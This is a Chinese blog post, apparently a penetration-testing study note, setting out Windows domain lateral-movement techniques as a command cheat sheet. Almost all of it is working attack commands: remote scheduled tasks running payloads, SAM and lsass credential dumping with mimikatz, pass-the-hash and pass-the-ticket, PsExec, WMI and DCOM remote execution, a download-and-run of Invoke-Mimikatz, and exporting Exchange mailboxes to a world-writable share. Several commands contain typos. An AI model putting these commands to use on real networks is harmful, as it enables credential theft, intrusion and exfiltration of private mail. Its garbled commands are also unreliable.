域内横向移动分析

发布于 2024-07-09 12:36:03 字数 12739 浏览 15 评论 0

常用 Windows 远程连接和相关命令

IPC

net use \\IP\ipc$ "password" /user:Administrator

IPC 的利用条件

  • 开启 139 端口
  • 管理员开启了默认共享

使用 Windows 自带的工具获取远程主机信息

dir 命令

dir \\IP\c$

tasklist 命令

tasklist /S IP /U administrator /P password

计划任务

at 命令

主要在 Windows server 2008 之前版本

查看目标系统时间
net time \\IP
将 payload 复制到目标系统中
copy payload.bat \\IP\C$
使用 at 命令创建计划任务
at \\IP 8:00AM C:\payload.bat

返回一个计划任务 ID

清除 at 记录
at \\IP taskID /delete

使用 at 将执行结果保存到远程,再读取结果:

at \\IP 8:00AM cmd.exe /c "ipconfig > C:/1.txt"
type \\IP\C$\1.txt

schtask 命令

建立 IPC 连接
创建名为 task 的计划任务
schtask /create /s IP /tn test /sc onstart /tr c:\payload.bat /ru system /f
执行该计划任务
schtask /run /s IP /i /tn "test"
删除计划任务
schtask /delete /s IP /tn "test" /f

Windows 系统散列值获取

单机密码抓取

GetPass

GetPassword_x64.exe

PwDump7

PwDump7.exe

通过 SAM 和 SYSTEM 文件抓取密码

导出 SAM 和 System 文件
reg save hklm\sam sam.hive
reg save hklm\system system.hive
通过读取 SAM 和 System 文件获得 NTLM Hash
  • mimikatz
lsadump::sam /sam:sam.hive system:system.hive
  • cain
  • 目标机器使用 mimikatz 直接读取本地 SAM 文件
privilege::debug
lsadump::sam
使用 mimikatz 在线读取 SAM 文件
mimikatz.exe "privilege::debug" "log" "sekurlsa::loginpasswords" 
使用 mimikatz 离线读取 lass.dmp 文件
导出 lass.dmp 文件
  • 使用任务管理器导出 lsass.dmp 文件

任务管理器找到 lsass.exe 进程,右键,选择 “Create Dump File” 选项

  • 使用 Procdump 导出 lsass.dmp 文件

微软官方发布的工具,免杀

Procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用 mimikatz 导出 lsass.dmp 文件中的密码值
sekurlsa::mimidump lsass.dmp
sekurlsa::logonpasswords full

使用 Powershell 对散列值进行 Dump 操作

Import-Module .\Get-PassHashes.ps1

使用 Powershell 远程加载 mimikatz 抓取散列值和明文密码

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PwoerSploit/master/Exfilration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

哈希传递攻击

使用 NTLM Hash 进行哈希传递

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.hacker /ntlm:[NTLM]"

使用 AES-256 密钥进行哈希传递

使用 mimikatz 抓取 AES-256 密钥

mimikatz "privilege::debug" "sekurlsa::ekeys"

pth 攻击(目标机器必须安装 KB2871997)

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.hacker /aes256:[aes256]"

票据传递

使用 mimikatz 进行票据传递

导出票据

mimikatz "privilege::debug" "sekurlsa::tickets /exports"

注入票据

mimikatz "kerberos::ptt" "C:\xxx.kirbi"

使用 kekeo 进行票据传递

生成票据文件

kekeo "tgt:ask /user:administrator /domain:pentest.hack /ntlm:[NTLM]"

将票据文件导入内存

kekeo "kerberos::ptt xxx.kirbi"

PsExec 的使用

PsTools 工具中的 PsExec

建立 IPC 连接

net use \\IP\ipc$ "password" /u:administrator

获取 System 权限的 交互式 shell

PsExec.exe -accepteula \\IP -s cmd.exe
或
PsExec.exe -accepteula \\IP -s cmd.exe /c ipconfig

如果不使用 -s 命令,则创建一个 Administrator 权限的 shell

如果没有建立 IPC 连接:

PsExec.exe -accepteula \\IP -u administrator -p password -s cmd.exe

Metasploit 中的 psexec 模块

  • exploit/windows/smb/psexec
  • exploit/windows/smb/psexec_psh(powershell 版本)

WMI 的使用

基本命令

wmic /node:IP /user:administrator /password:passed process call create "cmd.exe /c ipconfig > ip.txt"

建立 IPC 连接后,使用 type 命令读取结果:

type \\IP\C$\ip.txt

impacket 包中的 wmiexec

wmiexec.py administrator:password@IP

wmiexec.vbs

半交互式 shell

cscript.exe //nologo wmiexec.vbs /shell IP administrator password

执行单条命令

cscript.exe wmiexec.vbs /cmd IP administrator password "ipconfig"

对于运行时间较长的命令,例如 pingsysteminfo ,需要加入 -wait 5000 命令或者更长等待时间。在运行 nc 等不需要输出单需要一直等待运行的进程时,需要使用 -persist 参数。

Invoke-WmiCommand

powersploit 工具包中

Invoke-Wmicommand.ps1 导入系统

$User = "pentest.hacker\administrator"

$Password = ConvertTo-SecureString -String "password" -AsPlainText -Force

$Cred = New-Object -TypeName System.Management.AutoMation.PSCredential -ArgumentList $User, $Password

$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName IP

$Remore.PayloadOutput

Invoke-WMIMethod

利用 powershell 自带的 Invoke-WMIMethod ,非交互,无回显。

$User = "pentest.hacker\administrator"

$Password = ConvertTo-SecureString -String "password" -AsPlainText -Force

$Cred = New-Object -TypeName System.Management.AutoMation.PSCredential -ArgumentList $User, $Password

$Remote = Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -Credential $Cred -ComputerName IP

永恒之蓝漏洞

  • auxiliary/scanner/smb/smb_ms17_010
  • exploit/windows/smb/ms17_010_eternalblue

smbexec

C++ 版本 smbexec

execserver.exe 上传到到目标系统的 C:\Windows\ 目录下,解除 UAC 对命令的限制。

net use \\IP "password" /user:pentest\administrator
test.exe IP administrator password whoami c$

impacket 工具包中的 smbexec.py

smbexec.py penteer/administrator:password\@IP

DCOM 在远程系统中的使用

通过本地 DCOM 执行命令

获取 DCOM 程序列表

windows server 2012 及以上

Get-CimInstance Win32_DCOMApplicatioon

Windows 7、Windows Server 2008

Get-WmicObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

使用 DCOM 执行任意命令

本地启动一个管理员权限的 powershell

[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")).Document.ActiveView.ExecuteShellCommand("cmd.exe","0","/c calc.exe","Minimzed")

使用 DCOM 在远程机器上执行命令

远程连接时必须使用具有本地管理员权限的账号

使用 IPC$ 连接远程计算机

net use \\IP "password" /user:pentest.hacker\win7user

执行命令

调用 MMC20_Application 远程执行命令
$com=[Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","IP"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe","0","/c calc.exe","Minimzed")

调用 9BA05972-F6A8-11CF-A442-00A0C90A8F39

$com=[Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"IP")
$obj=[System.Activator]::CreateInstance($com)
$item=$obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32","$null",0)

SPN 在域环境中的使用

SPN 扫描

PowerShell-AD-Recon

利用 SPN 发现域中所有的 MSSQL 服务

Import-Module .\Discover-PSMSSQLServer.ps1
Discover-PSMSSQLServers

扫描域中所有的 SPN 信息

Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices

在不使用第三方 Powershell 脚本的情况下,输入如下命令查询所有的 SPN 信息

setspn -T domain -q */*

Exchange 邮件服务器攻击

Exchange 服务发现

基于端口扫描发现

nmap -A -O -sV IP

SPN 查询

setspn -T pentest.hacker -F -Q */*

Exchange 的基本操作

查看邮件数据库

add-pssnapin microsoft.exchange*
Get-MailboxDatabase -server "Exchange1"

指定数据库,对其进行详细信息查询

Get-MailboxDatabase -Identify 'Mailbox Database 1894576043' | Format-List Name,EdbFilePath,LogFolderPath

获取现有用户的邮件地址

Get-Mailbox | format-tables Name,WindowsEmailAddress

查看指定用户的邮箱使用信息

Get-Mailboxstatistics -identify administrator | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime

获取用户邮箱中的邮件数量

Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize -Decend

导出指定的电子邮件

配置用户的导入、导出权限

查看用户权限
Get-ManagementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName
添加权限
New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox Import Export"
删除权限
New-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false

设置网络共享文件夹

net share inetpub=c:\inetpub /grant:everyone,full

导出用户的电子邮件

New-MailboxExportRequest -Mailbox administrator -FilePath \\IP\inetpub\administrator.pst

管理导出请求

查看之前的导出记录

Get-MailboxExportRequest

将指定用户的已完成导出请求删除

Remove-MailboxExportRequest -Identify Administrator\mailboxexport

将所有已完成导出的请求删除

Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

巡山小妖精

暂无简介

0 文章
0 评论
610 人气
更多

推荐作者

謌踐踏愛綪

文章 0 评论 0

开始看清了

文章 0 评论 0

高速公鹿

文章 0 评论 0

alipaysp_PLnULTzf66

文章 0 评论 0

热情消退

文章 0 评论 0

白色月光

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文